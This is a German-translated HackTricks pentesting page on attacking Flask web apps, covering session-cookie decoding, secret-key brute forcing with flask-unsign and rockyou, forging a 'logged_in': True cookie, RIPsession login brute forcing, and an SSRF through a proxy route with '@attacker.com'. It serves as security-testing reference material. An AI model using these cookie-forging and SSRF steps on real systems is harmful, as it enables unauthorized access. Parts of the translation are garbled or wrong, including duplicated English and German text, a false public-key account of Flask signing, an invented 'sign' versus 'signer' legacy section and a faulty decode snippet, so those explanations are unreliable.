hacktricks/network-services-pentesting/pentesting-web/flask.md
2024-02-10 15:36:32 +00:00

9.8 KiB

Flask

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Verwenden Sie Trickest, um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Erhalten Sie noch heute Zugriff:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Wahrscheinlich ist eine Flask-Anwendung in einem CTF mit SSTI** verbunden.**

Cookies

Der Standardname für die Sitzungs-Cookie ist session.

Decoder

Online Flask-Cookie-Decoder: https://www.kirsle.net/wizards/flask-session.cgi

Manuell

Holen Sie sich den ersten Teil des Cookies bis zum ersten Punkt und decodieren Sie ihn mit Base64:

echo "ImhlbGxvIg" | base64 -d

Der Cookie wird auch mit einem Passwort signiert

Flask-Unsign

Befehlszeilentool zum Abrufen, Decodieren, Brute-Forcen und Erstellen von Sitzungscookies einer Flask-Anwendung durch das Raten von geheimen Schlüsseln.

{% embed url="https://pypi.org/project/flask-unsign/" %}

pip3 install flask-unsign

To decode a Flask session cookie, you can use the itsdangerous library. The session cookie is usually named session and is base64 encoded. The decoded cookie contains a serialized JSON object with the session data.

import base64
import zlib
import json
from itsdangerous import URLSafeTimedSerializer

def decode_flask_cookie(secret_key, cookie_value):
    signer = URLSafeTimedSerializer(secret_key)
    try:
        decoded_data = signer.loads(cookie_value)
        decompressed_data = zlib.decompress(base64.b64decode(decoded_data))
        session_data = json.loads(decompressed_data)
        return session_data
    except Exception as e:
        print(f"Error decoding cookie: {e}")
        return None

To use this function, you need to provide the secret key used to sign the cookie and the value of the cookie itself. The function will return the decoded session data as a Python dictionary.

secret_key = "your_secret_key"
cookie_value = "your_cookie_value"

decoded_session = decode_flask_cookie(secret_key, cookie_value)
print(decoded_session)

Remember to replace "your_secret_key" with the actual secret key used by the Flask application and "your_cookie_value" with the value of the session cookie you want to decode.

flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

Brute Force

Brute Force ist eine Methode, bei der ein Angreifer systematisch alle möglichen Kombinationen von Benutzernamen und Passwörtern ausprobiert, um Zugriff auf ein System zu erlangen. Diese Methode kann verwendet werden, um die Sicherheit von Webanwendungen zu testen, indem sie versucht, sich mit verschiedenen Kombinationen von Anmeldeinformationen anzumelden. Es ist wichtig zu beachten, dass Brute Force-Angriffe zeitaufwändig sein können und dass die Erfolgschancen von Faktoren wie der Länge und Komplexität der Passwörter abhängen. Es wird empfohlen, starke Passwörter zu verwenden und Sicherheitsmaßnahmen wie Kontosperrungen nach einer bestimmten Anzahl von fehlgeschlagenen Anmeldeversuchen zu implementieren, um Brute Force-Angriffe zu erschweren.

flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

Signierung

The signing process ensures the integrity and authenticity of data. It involves using a private key to generate a digital signature, which can be verified using the corresponding public key. This ensures that the data has not been tampered with and that it originated from the expected source.

Die Signierung stellt die Integrität und Authentizität von Daten sicher. Dabei wird ein privater Schlüssel verwendet, um eine digitale Signatur zu generieren, die mithilfe des entsprechenden öffentlichen Schlüssels überprüft werden kann. Dadurch wird sichergestellt, dass die Daten nicht manipuliert wurden und von der erwarteten Quelle stammen.

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

Signieren mit veralteten (alten Versionen)

In einigen älteren Versionen von Flask wurde die Signaturfunktion sign verwendet, um Daten zu signieren. Diese Funktion ist jedoch anfällig für verschiedene Angriffe und sollte nicht mehr verwendet werden. Stattdessen sollte die sicherere Funktion signer verwendet werden, die in neueren Versionen von Flask verfügbar ist.

Um die signer-Funktion zu verwenden, müssen Sie zuerst ein Signierungsobjekt erstellen. Dies kann mit dem itsdangerous-Modul erfolgen, das in Flask enthalten ist. Verwenden Sie den folgenden Code, um ein Signierungsobjekt zu erstellen:

from itsdangerous import URLSafeTimedSerializer

secret_key = "geheimeschluessel"
signer = URLSafeTimedSerializer(secret_key)

Sobald Sie das Signierungsobjekt erstellt haben, können Sie die dumps-Methode verwenden, um Daten zu signieren, und die loads-Methode, um die signierten Daten zu überprüfen und wiederherzustellen. Hier ist ein Beispiel, wie Sie die dumps- und loads-Methoden verwenden können:

data = "zu signierende daten"
signed_data = signer.dumps(data)
restored_data = signer.loads(signed_data)

Stellen Sie sicher, dass Sie den geheimen Schlüssel sicher aufbewahren und nicht in öffentlichen Repositories oder in der Produktionsumgebung speichern.

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

RIPsession

Befehlszeilentool zum Brute-Forcen von Websites unter Verwendung von mit flask-unsign erstellten Cookies.

{% embed url="https://github.com/Tagvi/ripsession" %}

ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt

Dieses Beispiel verwendet die sqlmap eval-Option, um automatisch sqlmap-Payloads für Flask mit einem bekannten Geheimnis zu signieren.

Flask-Proxy zu SSRF

In diesem Artikel wird erklärt, wie Flask eine Anfrage zulässt, die mit dem Zeichen "@" beginnt:

GET @/ HTTP/1.1
Host: target.com
Connection: close

Welches Szenario ist in folgendem Fall gegeben:

from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)

Es könnte ermöglichen, etwas wie "@attacker.com" einzuführen, um einen SSRF zu verursachen.

Verwenden Sie Trickest, um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Erhalten Sie noch heute Zugriff:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen: